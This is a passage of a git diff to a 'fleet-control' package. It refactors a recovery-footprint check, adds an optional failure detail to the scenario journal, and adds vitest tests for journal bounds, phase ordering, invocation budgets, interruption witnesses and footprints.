'currentSecretNames']) - equal(worker[key], []); - const namespaces = resource.namespaces - .map((entry) => entry.namespaceId) - .sort(); - equal(worker.currentNamespaceIds, retained ? namespaces : []); - equal(worker.survivingRecordedNamespaceIds, retained ? namespaces : []); - if (retained) - requireFact( - worker.currentVersionIds.includes(resource.versionId) && - worker.currentVersionIds.length <= - DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds, - ); - else - requireFact( - worker.currentVersionIds === null || - worker.currentVersionIds.length === 0, - ); - equal(value.buckets, [ - { - bindingName: 'PROBE_BUCKET', - bucketName: resource.bucket.name, - jurisdiction: 'default', - expectedCreationDate: resource.bucket.creationDate, - observedCreationDate: retained ? resource.bucket.creationDate : null, - }, - ]); - equal(value.priorCleanup.operationId, state.proofs.cleanup.operationId); - equal(value.priorCleanup.matchesBefore, true); - equal( - value.priorCleanup.observedReceiptSha256, - directCleanupReceiptDigest(state.proofs.cleanup), - ); - requireFact( - /^[a-f0-9]{64}$/u.test(value.priorCleanup.observedReceiptSha256), - ); - if (!retained) { - equal( - value.beforeIdentitySha256, - state.proofs.force.beforeIdentitySha256, - ); - equal(value.priorCleanup, state.proofs.force.priorCleanup); - } - return value; - }; + const footprintExpectation = (retained) => ({ + retained, + resource: state.proofs.initial.recovery, + databaseName: prepared.names.roles.recovery.databaseName, + cleanup: state.proofs.cleanup, + force: state.proofs.force, + versionIdMaximum: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds, + }); try { requireFact( journal && @@ -775,7 +712,8 @@ export async function runDirectCredentialedScenario(input) { state = structuredClone( snapshot.scenario ?? initialState(snapshot.invocationCount), ); - if (state.failure) requireFact(false, state.failure.code); + if (state.failure) + requireFact(false, state.failure.code, state.failure.detail); if ( state.lastCall?.outcome === 'prepared' || state.mutation?.outcome === 'prepared' @@ -999,7 +937,10 @@ export async function runDirectCredentialedScenario(input) { } case 'force-observe': { const result = await invoke({ kind: 'force-observe' }); - state.proofs.force = checkFootprint(result.observation, true); + state.proofs.force = checkFootprint( + result.observation, + footprintExpectation(true), + ); await persist(); const metadata = await invoke({ kind: 'decommission-export', @@ -1020,7 +961,10 @@ export async function runDirectCredentialedScenario(input) { case 'recover-force-residual': { const result = await mutate({ kind: 'recover-force-residual' }); requireFact(result.returned === true); - state.proofs.residual = checkFootprint(result.observation, false); + state.proofs.residual = checkFootprint( + result.observation, + footprintExpectation(false), + ); await persist(); await advancePhase(); break; @@ -1050,6 +994,7 @@ export async function runDirectCredentialedScenario(input) { const observed = failureCodes.has(error?.code) ? error.code : 'observation-mismatch'; + const detail = failureDetails.has(error?.detail) ? error.detail : undefined; let code = observed; const snapshot = acquired ? journal.snapshot() : null; if ( @@ -1058,7 +1003,11 @@ export async function runDirectCredentialedScenario(input) { snapshot.lastInvocation?.state !== 'pending' && !snapshot.bootstrap?.pending ) { - state.failure = { code: observed, ordinal: snapshot.invocationCount }; + state.failure ??= { + code: observed, + ordinal: snapshot.invocationCount, + ...(detail === undefined ? {} : { detail }), + }; try { await persist(); } catch (unwritable) { @@ -1069,6 +1018,7 @@ export async function runDirectCredentialedScenario(input) { return { status: 'failed', reason: code, + ...(code === observed && detail !== undefined ? { detail } : {}), phase: state?.phase ?? null, invocationCount: snapshot?.invocationCount ?? 0, }; diff --git a/packages/fleet-control/scripts/direct-reference-receipt.d.mts b/packages/fleet-control/scripts/direct-reference-receipt.d.mts index a79fc45d..e87f2354 100644 --- a/packages/fleet-control/scripts/direct-reference-receipt.d.mts +++ b/packages/fleet-control/scripts/direct-reference-receipt.d.mts @@ -2,10 +2,6 @@ import type { CleanupTerminalReceipt } from '@proofoftech/fleet-control'; -export function directCleanupReceiptPreimage( - receipt: CleanupTerminalReceipt, -): readonly unknown[]; - export function directCleanupReceiptDigest( receipt: CleanupTerminalReceipt, ): string; diff --git a/packages/fleet-control/scripts/direct-reference-receipt.mjs b/packages/fleet-control/scripts/direct-reference-receipt.mjs index 1a39d62c..54012749 100644 --- a/packages/fleet-control/scripts/direct-reference-receipt.mjs +++ b/packages/fleet-control/scripts/direct-reference-receipt.mjs @@ -2,7 +2,7 @@ import { createHash } from 'node:crypto'; -export function directCleanupReceiptPreimage(receipt) { +function directCleanupReceiptPreimage(receipt) { const evidence = receipt.evidence; return [ receipt.version, diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 3180664f..460936c1 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -15,15 +15,18 @@ import { writeFile, } from 'node:fs/promises'; import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { DIRECT_RUN_MAX_JOURNAL_BYTES, + DIRECT_SCENARIO_ARRAY_MAXIMA, + DIRECT_SCENARIO_OPERATION_SLOTS, type DirectBootstrapMutationReceipt, type DirectRunJournal, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; +import type { DirectOperationSlot } from '../scripts/direct-reference-journal.js'; import { - auditProof, bootstrapContext, cleanupDirectRunState, closed, @@ -32,8 +35,8 @@ import { first, fixture, hash, - inventoryProof, journals, + MAX_COUNT, type MutableScenario, maximalScenario, opened, @@ -894,7 +897,7 @@ const refuses = (journal: DirectRunJournal, state: MutableScenario) => }); describeLinux('durable scenario state', () => { - it('publishes a scenario sitting on every declared maximum inside the journal byte bound', async () => { + it('publishes a maximal scenario inside the journal byte bound', async () => { const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); const serialized = await readFile( @@ -905,11 +908,28 @@ describeLinux('durable scenario state', () => { DIRECT_RUN_MAX_JOURNAL_BYTES / 2, ); expect(journal.snapshot().scenario?.proofs.cleanup?.evidence.scan).toEqual({ - discover: { evidenceSha256: DIGEST, evidenceCount: 1 }, - verify: { evidenceSha256: DIGEST, evidenceCount: 1 }, + discover: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT }, + verify: { evidenceSha256: DIGEST, evidenceCount: MAX_COUNT }, }); }); + it('publishes the journal fields in the order the decoder establishes', async () => { + const { f, journal } = await scenarioJournal(); + await journal.recordScenario(maximalScenario()); + const serialized = await readFile( + join(f.runDirectory, 'journal.json'), + 'utf8', + ); + expect(Object.keys(JSON.parse(serialized))).toEqual([ + 'version', + 'binding', + 'invocationCount', + 'lastInvocation', + 'bootstrap', + 'scenario', + ]); + }); + it('refuses a stored journal larger than the byte bound before parsing it', async () => { const { f, journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); @@ -1017,43 +1037,175 @@ describeLinux('durable scenario state', () => { ); }); - it('refuses arrays longer than the schema maximum', async () => { + it('refuses a settlement-effect list and an operation list past the schema bound', async () => { const { journal } = await scenarioJournal(); for (const mutate of [ - (state: MutableScenario) => { - state.proofs.health.push(first(state.proofs.health)); - }, - (state: MutableScenario) => { - state.proofs.steps.push(first(state.proofs.steps)); - }, (state: MutableScenario) => { state.proofs.effects.push(first(state.proofs.effects)); }, (state: MutableScenario) => { - state.proofs.exportVerifications.push( - first(state.proofs.exportVerifications), - ); - }, - (state: MutableScenario) => { - present(state.proofs.audits.before).findings.push( - first(auditProof().findings), - ); - }, - (state: MutableScenario) => { - present(state.proofs.inventories.before).findings.push( - first(inventoryProof().findings), - ); - }, - (state: MutableScenario) => { - state.operations.push({ - ...first(state.operations), - slot: 'decommission-recovery' as MutableScenario['operations'][number]['slot'], - }); + state.operations.push(first(state.operations)); }, ]) await refuses(journal, scenarioWith(mutate)); }); + it('carries every operation slot the reference control read can return', () => { + const slots: readonly DirectOperationSlot[] = + DIRECT_SCENARIO_OPERATION_SLOTS; + const unlisted: Exclude< + DirectOperationSlot, + (typeof DIRECT_SCENARIO_OPERATION_SLOTS)[number] + > extends never + ? true + : false = true; + expect({ count: slots.length, unlisted }).toEqual({ + count: 12, + unlisted: true, + }); + }); + + it('refuses one entry past each cap the shared array maxima declare', async () => { + const { journal } = await scenarioJournal(); + const caps = new Map(); + for (const [key, value] of Object.entries(DIRECT_SCENARIO_ARRAY_MAXIMA)) + if (typeof value === 'number') caps.set(key, value); + else + for (const [nested, bound] of Object.entries(value)) + caps.set(`inventory.${nested}`, bound); + const bounded = (state: MutableScenario): Record => { + const inventory = present(state.proofs.inventories.before); + return { + health: state.proofs.health, + steps: state.proofs.steps, + exportVerifications: state.proofs.exportVerifications, + auditFindings: present(state.proofs.audits.before).findings, + footprintVersionIds: present( + present(state.proofs.force).worker.currentVersionIds, + ), + deploymentVersions: present(state.proofs.initial.a).currentDeployment + .versions, + 'inventory.databaseIds': inventory.databaseIds, + 'inventory.namespaceIds': inventory.namespaceIds, + 'inventory.scriptNames': inventory.scriptNames, + 'inventory.bucketNames': inventory.bucketNames, + 'inventory.findings': inventory.findings, + }; + }; + expect(Object.keys(bounded(maximalScenario())).sort()).toEqual( + [...caps.keys()].sort(), + ); + for (const [key, cap] of caps) { + const state = maximalScenario(); + const array = bounded(state)[key]; + if (!array) throw new Error(`unbounded scenario array ${key}`); + expect({ key, length: array.length }).toEqual({ key, length: cap }); + array.push(first(array)); + await refuses(journal, state); + } + }); + + it('refuses a scenario version the decoder does not implement', async () => { + const { f, journal } = await scenarioJournal(); + await expect( + journal.recordScenario( + scenarioWith((state) => { + (state as unknown as { version: number }).version = 2; + }), + ), + ).rejects.toMatchObject({ code: 'unsupported-scenario-version' }); + await journal.recordScenario(maximalScenario()); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const stored = JSON.parse(await readFile(path, 'utf8')); + stored.scenario.version = 2; + await writeFile(path, JSON.stringify(stored)); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'unsupported-scenario-version' }); + }); + + it('refuses to load the journal module when a declared maximum is absent', async () => { + const source = new URL( + '../scripts/direct-credentialed-run-state.mjs', + import.meta.url, + ); + const text = await readFile(source, 'utf8'); + const declarations: [string, string][] = []; + for (const [key, value] of Object.entries(DIRECT_SCENARIO_ARRAY_MAXIMA)) + if (typeof value === 'number') + declarations.push([key, ` ${key}: ${value},\n`]); + else + for (const [nested, bound] of Object.entries(value)) + declarations.push([ + `inventory.${nested}`, + ` ${nested}: ${bound},\n`, + ]); + const load = async (code: string) => { + const child = spawn( + process.execPath, + ['--input-type=module', '-e', code], + { + cwd: fileURLToPath(new URL('..', import.meta.url)), + stdio: ['ignore', 'ignore', 'pipe'], + env: { PATH: process.env.PATH ?? '' }, + }, + ); + let stderr = ''; + child.stderr.on('data', (chunk) => { + stderr += String(chunk); + }); + const status = await new Promise((resolve, reject) => { + child.once('error', reject); + child.once('close', (value) => resolve(value)); + }); + return { status, refused: stderr.includes('invalid-state') }; + }; + const absolute = (value: string) => + value.replace( + /from '\.\/([^']+)'/gu, + (_match, name: string) => + `from ${JSON.stringify(new URL(name, source).href)}`, + ); + expect(await load(absolute(text))).toEqual({ status: 0, refused: false }); + for (const [key, declaration] of declarations) { + expect({ key, occurrences: text.split(declaration).length - 1 }).toEqual({ + key, + occurrences: 1, + }); + expect({ + key, + ...(await load(absolute(text.replace(declaration, '')))), + }).toEqual({ key, status: 1, refused: true }); + } + }, 60_000); + + it('accepts the optional refusal detail and refuses one outside the vocabulary', async () => { + const unknown = await scenarioJournal(); + await refuses( + unknown.journal, + scenarioWith((state) => { + (present(state.failure) as { detail?: string }).detail = 'not-a-detail'; + }), + ); + await unknown.journal.recordScenario(maximalScenario()); + expect(unknown.journal.snapshot().scenario?.failure).toEqual({ + code: 'observation-mismatch', + ordinal: MAX_COUNT, + }); + const carried = await scenarioJournal(); + await carried.journal.recordScenario( + scenarioWith((state) => { + present(state.failure).detail = 'run-reserve'; + }), + ); + expect(carried.journal.snapshot().scenario?.failure).toEqual({ + code: 'observation-mismatch', + ordinal: MAX_COUNT, + detail: 'run-reserve', + }); + }); + it('refuses a phase regression, a phase skip and a weakened proof after publication', async () => { const { journal } = await scenarioJournal(); await journal.recordScenario(maximalScenario()); diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts index 752d6440..b6c5b714 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts @@ -4,6 +4,7 @@ import { createHash } from 'node:crypto'; import { readFile } from 'node:fs/promises'; import { describe, expect, it } from 'vitest'; import type { DirectWorkerVersionObservation } from '../scripts/direct-credentialed-observations.mjs'; +import { DIRECT_SCENARIO_ARRAY_MAXIMA } from '../scripts/direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_INVOCATION_BUDGET, DIRECT_SCENARIO_MIN_INVOCATIONS, @@ -11,9 +12,14 @@ import { } from '../scripts/direct-credentialed-scenario-budget.mjs'; import { changedBy, + checkFootprint, + checkInterruptedItems, + checkInterruptionWitness, checkInvocationHeadroom, checkItemConvergence, checkTrafficDistribution, + type DirectScenarioFootprint, + type DirectScenarioInterruptedItem, type DirectScenarioPhase, equal, expectedVersion, @@ -30,6 +36,8 @@ import { SCENARIO_ROLES, zeroAttempts, } from '../scripts/direct-credentialed-scenario-checks.mjs'; +import { directCleanupReceiptDigest } from '../scripts/direct-reference-receipt.mjs'; +import type { CleanupTerminalReceipt } from '../src/types.js'; function refusal(action: () => unknown): string { try { @@ -221,6 +229,23 @@ describe('scenario migration guards', () => { expect(refusal(() => checkTrafficDistribution(candidate, previous))).toBe( 'accepted', ); + expect( + refusal(() => + checkTrafficDistribution( + observation( + 'new', + 0, + [ + { versionId: 'old', percentage: 100 }, + { versionId: 'new', percentage: 0 }, + { versionId: 'new', percentage: 0 }, + ], + 'old', + ), + previous, + ), + ), + ).toBe('observation-mismatch'); expect( refusal(() => checkTrafficDistribution( @@ -375,7 +400,8 @@ describe('scenario one-shot mutation reconciliation', () => { }); describe('scenario reconciliation allowance', () => { - it('allows no record change during an audit action', () => { + it('maps each action family to the slot and roles it may change', () => { + expect(changedBy(null)).toEqual({ slots: [], roles: [] }); expect(changedBy({ kind: 'audit-start', slot: 'audit-before' })).toEqual({ slots: ['audit-before'], roles: [], @@ -383,10 +409,6 @@ describe('scenario reconciliation allowance', () => { expect( changedBy({ kind: 'audit-page', slot: 'audit-after', limit: 32 }), ).toEqual({ slots: ['audit-after'], roles: [] }); - }); - - it('maps every other action to the slot and roles it may change', () => { - expect(changedBy(null)).toEqual({ slots: [], roles: [] }); expect( changedBy({ kind: 'provision', role: 'a', release: 'initial' }), ).toEqual({ slots: ['cleanup-a'], roles: ['a'] }); @@ -433,6 +455,30 @@ describe('scenario reconciliation allowance', () => { }); }); +const DECLARED_PHASES = [ + 'provision-a', + 'provision-b', + 'inventory-before', + 'audit-before', + 'migration-start', + 'migration-interrupt', + 'migration-restart', + 'migration', + 'post-migration', + 'inventory-after', + 'audit-after', + 'failed-recovery', + 'cleanup-recovery', + 'provision-recovery', + 'delete-objects', + 'decommission-a', + 'decommission-b', + 'force-recovery', + 'force-observe', + 'recover-force-residual', + 'complete', +] as const; + describe('scenario invocation budget', () => { const zeroCalls = () => Object.fromEntries( @@ -510,6 +556,127 @@ describe('scenario invocation budget', () => { ).toBe('invalid-input'); }); + it('orders the phases the journal proof rules and resume check index by', () => { + const declared: readonly DirectScenarioPhase[] = DECLARED_PHASES; + const runtime: readonly (typeof DECLARED_PHASES)[number][] = + DIRECT_SCENARIO_PHASES; + expect([...runtime]).toEqual([...declared]); + expect(new Set(DECLARED_PHASES).size).toBe(DECLARED_PHASES.length); + expect(DIRECT_SCENARIO_PHASES.at(-1)).toBe('complete'); + const ordered = ( + earlier: DirectScenarioPhase, + later: DirectScenarioPhase, + ) => + DIRECT_SCENARIO_PHASES.indexOf(earlier) < + DIRECT_SCENARIO_PHASES.indexOf(later); + for (const [producer, consumer] of [ + ['provision-a', 'migration'], + ['provision-b', 'migration'], + ['migration', 'post-migration'], + ['post-migration', 'delete-objects'], + ['delete-objects', 'decommission-a'], + ['delete-objects', 'decommission-b'], + ['inventory-before', 'audit-before'], + ['inventory-after', 'audit-after'], + ['migration-interrupt', 'migration-restart'], + ['cleanup-recovery', 'provision-recovery'], + ['force-recovery', 'force-observe'], + ['force-observe', 'recover-force-residual'], + ] as const) + expect({ + producer, + consumer, + ordered: ordered(producer, consumer), + }).toEqual({ producer, consumer, ordered: true }); + }); + + it('holds back the later-phase reserve once a phase spends past its own', () => { + const calls = zeroCalls(); + const observe = DIRECT_SCENARIO_INVOCATION_BUDGET['force-observe']; + expect({ reserve: observe.reserve, ceiling: observe.ceiling }).toEqual({ + reserve: 4, + ceiling: 16, + }); + expect(phaseInvocationReserve('force-observe')).toBe(12); + expect(phaseInvocationReserve('recover-force-residual')).toBe(8); + for (const [spent, minimum] of [ + [0, 12], + [4, 8], + [11, 8], + [15, 8], + ] as const) { + const phaseCalls = { ...calls, 'force-observe': spent }; + expect( + refusal(() => + checkInvocationHeadroom('force-observe', phaseCalls, minimum), + ), + ).toBe('accepted'); + expect( + cause(() => + checkInvocationHeadroom('force-observe', phaseCalls, minimum - 1), + ), + ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' }); + } + const migration = DIRECT_SCENARIO_INVOCATION_BUDGET.migration; + expect({ reserve: migration.reserve, ceiling: migration.ceiling }).toEqual({ + reserve: 132, + ceiling: 216, + }); + expect(phaseInvocationReserve('migration')).toBe(484); + const overspent = { ...calls, migration: 200 }; + expect( + refusal(() => checkInvocationHeadroom('migration', overspent, 352)), + ).toBe('accepted'); + expect( + cause(() => checkInvocationHeadroom('migration', overspent, 351)), + ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' }); + }); + + it('refuses a phase call map without a usable count for the phase', () => { + const total = phaseInvocationReserve('provision-a'); + const absent = {} as Record; + expect( + refusal(() => checkInvocationHeadroom('provision-a', absent, total)), + ).toBe('invalid-input'); + expect( + refusal(() => + checkInvocationHeadroom( + 'provision-a', + null as unknown as Record, + total, + ), + ), + ).toBe('invalid-input'); + for (const value of [-1, 1.5, Number.MAX_SAFE_INTEGER + 1]) + expect( + refusal(() => + checkInvocationHeadroom( + 'provision-a', + { ...zeroCalls(), 'provision-a': value }, + total, + ), + ), + ).toBe('invalid-input'); + }); + + it('refuses an inherited phase key and a remaining count that is not an integer', () => { + const calls = zeroCalls(); + const total = phaseInvocationReserve('provision-a'); + expect( + refusal(() => + checkInvocationHeadroom( + 'constructor' as DirectScenarioPhase, + calls, + total, + ), + ), + ).toBe('invalid-input'); + for (const remaining of [1.5, Number.MAX_SAFE_INTEGER + 1]) + expect( + refusal(() => checkInvocationHeadroom('provision-a', calls, remaining)), + ).toBe('invalid-input'); + }); + it('declares the invocation floor the shipped configuration clears', async () => { const config = JSON.parse( await readFile( @@ -526,3 +693,304 @@ describe('scenario invocation budget', () => { ); }); }); + +describe('scenario interruption witness', () => { + const OPERATION = 'migration-operation'; + const ENTRY_DIGEST = 'e'.repeat(64); + const TARGET_DIGEST = 'f'.repeat(64); + const expected = { + operationId: OPERATION, + tenantTag: 'tenant', + environment: 'production', + }; + const value = () => ({ + version: 1, + boundary: 'after-migration-admission', + slot: 'migration-next', + operationId: OPERATION, + claimJson: JSON.stringify({ operationId: OPERATION, revision: 1 }), + returnedTokenJson: JSON.stringify({ operationId: OPERATION, revision: 2 }), + item: { + ordinal: 0, + beforeStatus: 'pending', + afterStatus: 'active', + planCursor: 0, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: ENTRY_DIGEST, + targetSpecDigest: TARGET_DIGEST, + }, + }); + const serialized = (mutate: (current: ReturnType) => void) => { + const current = value(); + mutate(current); + return JSON.stringify(current); + }; + + it('reads the claim and the successor the boundary recorded', () => { + const result = checkInterruptionWitness(JSON.stringify(value()), expected); + expect(result.value).toEqual(value()); + expect(result.claim).toEqual({ operationId: OPERATION, revision: 1 }); + expect(result.successor).toEqual({ operationId: OPERATION, revision: 2 }); + }); + + it('refuses a witness the recorded operation and item do not account for', () => { + expect(refusal(() => checkInterruptionWitness(42, expected))).toBe( + 'observation-mismatch', + ); + for (const mutate of [ + (current) => { + current.version = 2; + }, + (current) => { + current.boundary = 'before-migration-admission'; + }, + (current) => { + current.slot = 'inventory-before'; + }, + (current) => { + current.operationId = 'other-operation'; + }, + (current) => { + current.claimJson = JSON.stringify({ + operationId: 'other-operation', + revision: 1, + }); + }, + (current) => { + current.returnedTokenJson = JSON.stringify({ + operationId: OPERATION, + revision: 1, + }); + }, + (current) => { + current.returnedTokenJson = JSON.stringify({ + operationId: 'other-operation', + revision: 2, + }); + }, + (current) => { + current.item.ordinal = 1; + }, + (current) => { + current.item.beforeStatus = 'active'; + }, + (current) => { + current.item.afterStatus = 'pending'; + }, + (current) => { + current.item.planCursor = 1; + }, + (current) => { + current.item.tenantTag = 'other-tenant'; + }, + (current) => { + current.item.environment = 'staging'; + }, + ] satisfies ((current: ReturnType) => void)[]) + expect( + refusal(() => checkInterruptionWitness(serialized(mutate), expected)), + ).toBe('observation-mismatch'); + }); + + it('requires the interrupted item active at its recorded cursor beside a pending successor', () => { + const witness = checkInterruptionWitness( + JSON.stringify(value()), + expected, + ).value; + const active = { + status: 'active', + planCursor: 0, + entryRecordDigest: ENTRY_DIGEST, + targetSpecDigest: TARGET_DIGEST, + }; + const pending = { ...active, status: 'pending' }; + expect( + refusal(() => checkInterruptedItems(witness, [active, pending])), + ).toBe('accepted'); + const pairs: readonly (readonly [ + DirectScenarioInterruptedItem, + DirectScenarioInterruptedItem, + ])[] = [ + [{ ...active, status: 'complete' }, pending], + [{ ...active, planCursor: 1 }, pending], + [{ ...active, entryRecordDigest: 'a'.repeat(64) }, pending], + [{ ...active, targetSpecDigest: 'a'.repeat(64) }, pending], + [active, { ...pending, status: 'active' }], + ]; + for (const items of pairs) + expect(refusal(() => checkInterruptedItems(witness, items))).toBe( + 'observation-mismatch', + ); + }); +}); + +describe('scenario recovery footprint', () => { + const DATABASE_NAME = 'recovery-database-name'; + const CREATED = '2026-09-10T00:00:00.000Z'; + const NAMESPACES = ['maintenance-namespace', 'runner-namespace']; + const receipt: CleanupTerminalReceipt = { + version: 1, + operationId: 'cleanup-operation', + tenantTag: 'tenant', + environment: 'production', + backend: 'plain-worker', + scriptName: 'recovery-script', + databaseId: 'recovery-database', + databaseName: DATABASE_NAME, + authority: 'provisioning-rollback', + admittedPhase: 'database-reserved', + disposition: 'reservation-cleared', + evidence: { + eligibility: 'reservation-only', + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + }, + completedAtMs: 1, + }; + const resource: DirectWorkerVersionObservation = { + ...observation('recovery-version', 100, [ + { versionId: 'recovery-version', percentage: 100 }, + ]), + role: 'recovery', + scriptName: 'recovery-script', + databaseId: 'recovery-database', + namespaces: [ + { + binding: 'RUNNER', + className: 'Runner', + namespaceId: 'runner-namespace', + }, + { + binding: 'MAINTENANCE', + className: 'Maintenance', + namespaceId: 'maintenance-namespace', + }, + ], + bucket: { name: 'bucket', jurisdiction: 'default', creationDate: CREATED }, + }; + const footprint = (retained: boolean): DirectScenarioFootprint => ({ + version: 1, + role: 'recovery', + beforeIdentitySha256: 'b'.repeat(64), + fleetRecordPresent: false, + deploymentClaimsPresent: false, + database: { + id: 'recovery-database', + expectedName: DATABASE_NAME, + observedName: null, + }, + worker: { + scriptName: 'recovery-script', + scriptPresent: retained, + workersDevEnabled: retained ? false : null, + previewUrlsEnabled: retained ? false : null, + customDomains: [], + zoneRoutes: [], + currentSecretNames: [], + currentVersionIds: retained ? ['recovery-version'] : null, + currentNamespaceIds: retained ? NAMESPACES : [], + survivingRecordedNamespaceIds: retained ? NAMESPACES : [], + }, + buckets: [ + { + bindingName: 'PROBE_BUCKET', + bucketName: 'bucket', + jurisdiction: 'default', + expectedCreationDate: CREATED, + observedCreationDate: retained ? CREATED : null, + }, + ], + priorCleanup: { + operationId: 'cleanup-operation', + observedReceiptSha256: directCleanupReceiptDigest(receipt), + matchesBefore: true, + }, + }); + const context = { + resource, + databaseName: DATABASE_NAME, + cleanup: receipt, + versionIdMaximum: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds, + }; + + it('accepts the retained footprint and the residual footprint it carries forward', () => { + const force = checkFootprint(footprint(true), { + ...context, + retained: true, + }); + expect(force).toEqual(footprint(true)); + expect( + checkFootprint(footprint(false), { + ...context, + retained: false, + force, + }), + ).toEqual(footprint(false)); + }); + + it('refuses a footprint the recovery resources and the cleanup receipt do not account for', () => { + const retained = footprint(true); + for (const observed of [ + { ...retained, role: 'a' }, + { ...retained, fleetRecordPresent: true }, + { + ...retained, + database: { ...retained.database, observedName: 'present' }, + }, + { ...retained, worker: { ...retained.worker, scriptPresent: false } }, + { + ...retained, + worker: { ...retained.worker, workersDevEnabled: null }, + }, + { ...retained, worker: { ...retained.worker, currentNamespaceIds: [] } }, + { + ...retained, + worker: { ...retained.worker, currentVersionIds: ['other-version'] }, + }, + { + ...retained, + worker: { + ...retained.worker, + currentVersionIds: [ + 'recovery-version', + ...Array.from( + { length: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds }, + () => 'other-version', + ), + ], + }, + }, + { ...retained, buckets: [] }, + { + ...retained, + priorCleanup: { ...retained.priorCleanup, operationId: 'other' }, + }, + { + ...retained, + priorCleanup: { + ...retained.priorCleanup, + observedReceiptSha256: 'a'.repeat(64), + }, + }, + ]) + expect( + refusal(() => checkFootprint(observed, { ...context, retained: true })), + ).toBe('observation-mismatch'); + expect( + refusal(() => + checkFootprint(footprint(false), { + ...context, + retained: false, + force: { + ...footprint(true), + beforeIdentitySha256: 'c'.repeat(64), + }, + }), + ), + ).toBe('observation-mismatch'); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts index d4639e3a..081bf9f0 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -260,6 +260,7 @@ describe('scenario journal refusal boundaries', () => { expect(await runDirectCredentialedScenario(input)).toMatchObject({ status: 'failed', reason: 'budget-exhausted', + detail: 'below-scenario-floor', phase: 'provision-a', invocationCount: 1, }); @@ -270,6 +271,7 @@ describe('scenario journal refusal boundaries', () => { expect(await runDirectCredentialedScenario(input)).toMatchObject({ status: 'failed', reason: 'budget-exhausted', + detail: 'below-scenario-floor', }); expect(calls).toBe(0); }); @@ -352,6 +354,109 @@ describe('scenario journal refusal boundaries', () => { expect(calls).toBe(0); }); + it('refuses a provisioned deployment carrying more versions than the journal holds', async () => { + const local = await directObservationFixture(1000, 'confirmed', { + maxInvocations: DIRECT_SCENARIO_MIN_INVOCATIONS, + }); + cleanup.push(() => local.close()); + const [target] = local.expected; + if (!target) throw new Error('observation fixture target is missing'); + for (const versionId of ['zero-weight-1', 'zero-weight-2']) + local.deployment.versions.push({ version_id: versionId, percentage: 0 }); + local.hook(async (request, fallback) => { + const response = fallback(); + const path = new URL(request.url).pathname; + if ( + !path.endsWith(`/versions/${target.versionId}`) && + !path.endsWith('/settings') + ) + return response; + const released = (bindings: unknown) => + (bindings as { name: string; text?: string }[]).map((entry) => + entry.name === 'APPLICATION_RELEASE' || + entry.name === 'FLEET_SCHEMA_VERSION' + ? { ...entry, text: '1' } + : entry, + ); + const body = (await response.json()) as { + result: { + bindings?: unknown; + resources?: { bindings?: unknown }; + }; + }; + if (body.result.resources?.bindings) + body.result.resources.bindings = released( + body.result.resources.bindings, + ); + if (body.result.bindings) + body.result.bindings = released(body.result.bindings); + return Response.json(body); + }); + let provisioned = false; + const control = () => ({ + binding: { + version: 1, + accountId: 'account', + fleetDatabaseId: 'fleet-id', + quotaDatabaseId: 'quota-id', + exportBucketName: local.prepared.names.exportBucket, + referenceModuleSetSha256: local.prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }, + operations: [], + records: [ + ...local.expected.map((entry) => ({ + role: entry.role, + present: provisioned && entry.role === target.role, + ...(provisioned && entry.role === target.role + ? { + phase: 'ready', + desiredSpecDigest: entry.specDigest, + pendingSpecDigest: entry.specDigest, + artifactVersion: entry.versionId, + pendingArtifactVersion: entry.versionId, + databaseId: entry.databaseId, + } + : {}), + })), + { role: 'recovery' as const, present: false }, + ], + interruption: null, + forceBefore: null, + forceAfter: null, + }); + const invocation: DirectInvocationClient = { + async invoke(action) { + const reservation = await local.journal.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: local.prepared.configSha256, + action, + }), + ); + await local.journal.settleInvocation(reservation); + const attempts = { provider: 0, maintenance: 0, application: 0 }; + if (action.kind === 'control-read') + return { result: control(), attempts }; + if (action.kind === 'provision' && action.role === target.role) { + provisioned = true; + return { result: { status: 'ready' }, attempts }; + } + throw new Error(`unexpected fixture action ${action.kind}`); + }, + }; + expect( + await runDirectCredentialedScenario({ ...local.input, invocation }), + ).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'provision-a', + }); + const state = local.journal.snapshot().scenario; + expect(state?.failure).toMatchObject({ code: 'observation-mismatch' }); + expect(state?.proofs.initial.a).toBeNull(); + }); + it('retains an unknown pending invocation and refuses readbacks and concurrent mutation', async () => { const local = await directObservationFixture(); cleanup.push(() => local.close()); @@ -390,7 +495,6 @@ describe('scenario journal refusal boundaries', () => { async function fixture( options: { - maxInvocations?: number; nodeResponse?: NonNullable< Parameters[0] >['nodeResponse']; @@ -399,9 +503,6 @@ async function fixture( const local = await directObservationFixture(30_000, 'confirmed', { invocationTimeoutMs: 600_000, maxProviderRequests: 1000, - ...(options.maxInvocations - ? { maxInvocations: options.maxInvocations } - : {}), }); 